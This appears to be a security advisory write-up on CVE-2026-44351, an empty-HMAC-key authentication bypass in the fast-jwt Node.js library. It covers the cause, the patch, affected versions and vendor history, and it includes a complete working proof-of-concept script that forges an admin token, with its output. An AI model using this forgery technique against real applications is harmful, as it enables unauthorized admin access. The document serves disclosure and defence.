Introduction
A single empty string returned from a key resolver is all it takes to let an unauthenticated attacker mint arbitrary admin tokens in applications using the fast-jwt library. CVE-2026-44351, scored at CVSS 9.1 Critical, exposes a fundamental flaw in how fast-jwt handles empty HMAC secrets in its async key resolution flow, and with nearly one million weekly npm downloads, the potential impact is substantial.
fast-jwt is a high performance JSON Web Token implementation for Node.js, maintained by NearForm. It is widely used across the Node.js ecosystem for token signing and verification, often paired with JWKS (JSON Web Key Set) resolvers for key management. Its popularity makes it a foundational dependency in many authentication pipelines.
Technical Information
The root cause of this vulnerability lies in the prepareKeyOrSecret function inside src/verifier.js. This function is the single gateway through which every key, whether provided synchronously or resolved asynchronously via a callback or JWKS resolver, passes before being fed to Node.js's native crypto.createSecretKey() or crypto.createPublicKey().
The Empty Key Path
When an application uses a function-typed key resolver following the standard JWKS pattern, it may return an empty string if a key ID (kid) is not found. The common trigger pattern looks like this:
keys[decoded.header.kid] || ''
This is a widely used JavaScript idiom. When the kid from the incoming token does not match any key in the store, the expression evaluates to ''. Before version 6.2.4, fast-jwt would:
- Receive the empty string from the resolver
- Convert it to a zero-length
Buffer - Pass it to
crypto.createSecretKey()(Node.js accepts this without complaint) - Auto-detect
allowedAlgorithmsas['HS256', 'HS384', 'HS512']because the key is symmetric - Verify the token's HMAC signature against this empty key
Why Node.js Does Not Help Here
Node.js's crypto.createSecretKey() does not reject a zero-length key. It creates a valid KeyObject that can be used for HMAC operations. Similarly, crypto.createHmac('sha256', '') produces a valid HMAC computation. This means the platform itself provides no safety net; the library must enforce its own key validation.
Attack Flow
The attack is straightforward and requires no prior authentication:
- The attacker constructs a JWT header specifying
alg: 'HS256'and akidvalue that does not exist in the target's key store. - The attacker constructs a payload with arbitrary claims:
sub,admin,roles,scopes, or any other fields the application trusts. - The attacker computes
HMAC-SHA256(key='', input='${header}.${payload}')using standard Node.js crypto primitives. - The three base64url encoded segments are concatenated with dots to form the forged token.
- The token is sent to the target application. The async key resolver looks up the unknown
kid, falls back to'', and fast-jwt verifies the signature against the empty key. Because the attacker computed the signature with the same empty key,timingSafeEqualreturnstrue, and the attacker-chosen payload is returned as authentic.
Cache Amplification
Once a forged token passes verification, fast-jwt caches the result. The default cache holds 1000 entries. Subsequent requests using the same forged token skip verification entirely. This means a single successful forgery provides persistent access until the cache entry's time to live expires, even if the resolver logic is corrected at runtime.
Exploitation Surface
The maintainers validated the vulnerability across multiple resolver shapes and all three HMAC variants:
| Resolver return value | Algorithm family | Config state | Outcome before 6.2.4 | Outcome at 6.2.4 |
|---|---|---|---|---|
| Empty string | HS256, HS384, or HS512 | Default algorithms | Token accepted | Rejected with FAST_JWT_INVALID_KEY |
| Zero length Buffer | HS256, HS384, or HS512 | Explicit algorithms present | Token accepted | Rejected with FAST_JWT_INVALID_KEY |
| JWKS fallback returning empty string | HS family | Mixed algorithms | Token accepted | Rejected with FAST_JWT_INVALID_KEY |
The vulnerability only fails to trigger when the caller has explicitly restricted algorithms to a non-HMAC family like ['RS256'].
Proof of Concept
A fully working proof of concept is published directly in the GitHub Security Advisory GHSA-gmvf-9v4p-v8jc. The following self-contained exploit, verified against [email protected], demonstrates the complete authentication bypass:
// package.json: { "type": "module" } // npm i fast-jwt import { createVerifier } from 'fast-jwt' import * as crypto from 'node:crypto' function b64url(buf) { return Buffer.from(buf).toString('base64') .replace(/=+$/, '').replace(/\+/g, '-').replace(/\//g, '_') } // Forge a JWT signed with HMAC-SHA256 over an EMPTY key. const header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' })) const payload = b64url(JSON.stringify({ sub: 'attacker', admin: true, iat: Math.floor(Date.now() / 1000), exp: Math.floor(Date.now() / 1000) + 60 })) const input = `${header}.${payload}` const signature = b64url(crypto.createHmac('sha256', '').update(input).digest()) const forgedToken = `${input}.${signature}` // Realistic JWKS-style verifier - looks up kid in a key map and falls back // to '' when the kid is unknown (a widely-used JS idiom). const verifier = createVerifier({ key: async (decoded) => ({ 'real-kid': '<real key>' }[decoded.header.kid] || '') }) console.log(await verifier(forgedToken))
Running this against [email protected] produces:
{ sub: 'attacker', admin: true, iat: 1777372426, exp: 1777372486 }
The attacker-chosen payload, including admin: true, is returned as authentic. The advisory confirms that all three HMAC variants (HS256, HS384, HS512) are exploitable across multiple async resolver shapes: async () => '', callback style (d, cb) => cb(null, ''), and JWKS lookup patterns.
Patch Information
The vulnerability was addressed in PR #610, merged on April 29, 2026, and shipped in version 6.2.4. The fix is remarkably surgical: only three lines of code were added to the core prepareKeyOrSecret function inside src/verifier.js, while the rest of the 198 line addition is comprehensive test coverage.
The added guard is inserted after the key is coerced to a Buffer but before it reaches createSecretKey():
if (isSecret && key.length === 0) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.') }
The isSecret gate is critical. It ensures this check only fires for symmetric (HMAC) flows and leaves asymmetric key paths (RS256, ES256, etc.) completely untouched. When the condition is met, the function throws a FAST_JWT_INVALID_KEY error, immediately halting verification before any signature comparison takes place.
This is an elegant example of defense in depth at the right layer. Rather than trying to validate keys at every possible entry point (sync constructor, async callback, JWKS resolver), the patch catches the problem at the single chokepoint through which all keys must pass. Whether the empty key came from an async () => '' resolver, a keys[decoded.header.kid] || '' JWKS fallback, or a callback style (decoded, cb) => cb(null, ''), it is caught identically.
The test suite added in the PR covers eight forgery shapes, including empty strings and empty buffers across HS256, HS384, and HS512 algorithms. Valid token verification and valid secret verification remain unaffected.
Operational caveat: Processes that were already running before the patch may have cached forged tokens in the internal verification cache (default 1000 entries, 600 second TTL). After upgrading, restarting application processes is recommended to clear these caches.
The release tag v6.2.4 was published on April 29, 2026 and contains the sole change from v6.2.3.
Affected Systems and Versions
All versions of fast-jwt prior to 6.2.4 are affected. Specifically:
- Vulnerable: fast-jwt versions up to and including 6.2.3
- Fixed: fast-jwt version 6.2.4
The vulnerability is only triggered when the application uses an asynchronous key resolver (function-typed key option) that can return an empty string or zero-length Buffer. Applications that use a static string key or that explicitly restrict algorithms to a non-HMAC family (e.g., ['RS256']) are not affected.
Applications using the common JWKS fallback pattern keys[decoded.header.kid] || '' are particularly at risk.
Vendor Security History
fast-jwt has experienced a pattern of standards alignment issues in recent releases:
| Issue ID | Date | Core flaw | Fixed in |
|---|---|---|---|
| CVE-2026-44351 | May 2026 | Empty HMAC secret auth bypass | 6.2.4 |
| GHSA-hm7r-c7qw-ghp6 | April 2026 | Accepts unknown crit header extensions | Version per advisory |
| CVE-2025-30110 | March 2025 | Permissive iss claim validation permits array based forgery | 5.0.6 |
NearForm has responded to each of these with targeted fixes and test coverage. However, the recurring nature of these issues, each involving a case where the library was more permissive than the relevant RFC requires, suggests that teams consuming fast-jwt should maintain active vulnerability monitoring and consider pinning to specific patched versions.



